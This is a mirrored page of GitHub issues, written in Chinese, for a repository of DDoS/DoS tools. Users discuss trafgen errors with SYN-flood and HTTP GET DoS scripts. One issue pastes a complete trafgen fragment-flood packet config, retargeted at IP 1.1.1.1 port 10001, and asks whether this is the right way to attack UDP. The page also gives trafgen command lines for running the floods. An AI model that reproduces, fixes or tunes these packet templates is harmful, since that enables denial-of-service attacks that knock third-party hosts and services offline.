Coder Social home page Coder Social logo

ddos-dos-tools's Issues

运行报错问题

总是报配置文件这个地方错误。
报错信息:Syntax error at line7, at char 'E'! syntax error, unexpected number!
对应的配置文件错误行:const16(ETH_P_IP),

question

image
image
选择了syn 但为啥都是ack 呢

command : trafgen --cpp --dev eth0 --conf synflood.trafgen --cpu 2 --verbose

trafgen 的版本是多少

在使用你的模板去运行trafgen --cpp --dev em2 --conf synflood.trafgen --verbose 的时候,会出现错误
trafgen: unrecognized option '--cpp',请问一下你的trafgen版本是多少

关于http_get_dos

运行的时候提示:Cannot detect the transfer mode这个是什么原因?

大佬请问攻击udp是这样修改的吗

假设攻击ip为1.1.1.1 端口为10001
`

  • Command example:
  • trafgen --cpp --dev em2 --conf small_frag.trafgen --verbose
  • Note: dynamic elements "drnd()" make trafgen slower
    */
    // trafgen packet conf for fragment DoS attack
    // -------------------------------------------
    // - Need to randomize the frag ID
    // - Use trafgen support for dynamic checksum recalc
    //
    // Checksum cannot be fixed with iptables:
    // iptables -t mangle -I POSTROUTING -d 192.168.51.2 -j CHECKSUM --checksum-fill
    // Because traffic is injected a place which don't have any NF hooks
    //

{
// --- Ethernet Header ---
0x00, 0x1b, 0x21, 0x3c, 0x9d, 0xf8, // MAC Destination
0x90, 0xe2, 0xba, 0x0a, 0x56, 0xb4, // MAC Source
const16(0x0800), // Protocol

// --- IP Header ---
// IPv4 Version(4-bit) + IHL(4-bit), TOS
0b01000101, 0x00,
// IPv4 Total Len
const16(40),

// ID, notice runtime dynamic random
drnd(2),

// IPv4 3-bit flags + 13-bit fragment offset
// 001 = More fragments
0b00100000, 0b00000000,

64, //TTL
17, // Proto UDP

// Dynamic IP Checksum (notice offsets are zero indexed)
csumip(14, 33),

192, 168, 51, 1, // Source IP
1, 1, 1, 1, // Dest IP

// --- UDP Header ---
// As this is a fragment the below stuff does not matter too much
const16(48054), // src port
const16(10001), // dst port
const16(20), // UDP length

// UDP checksum can be dyn calc via csumudp(offset IP, offset TCP)
// which is csumudp(14, 34), but for UDP its allowed to be zero
const16(0),

// Payload
'A', fill(0x41, 11),
}`

大佬请问是这样改的吗
感激不尽

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.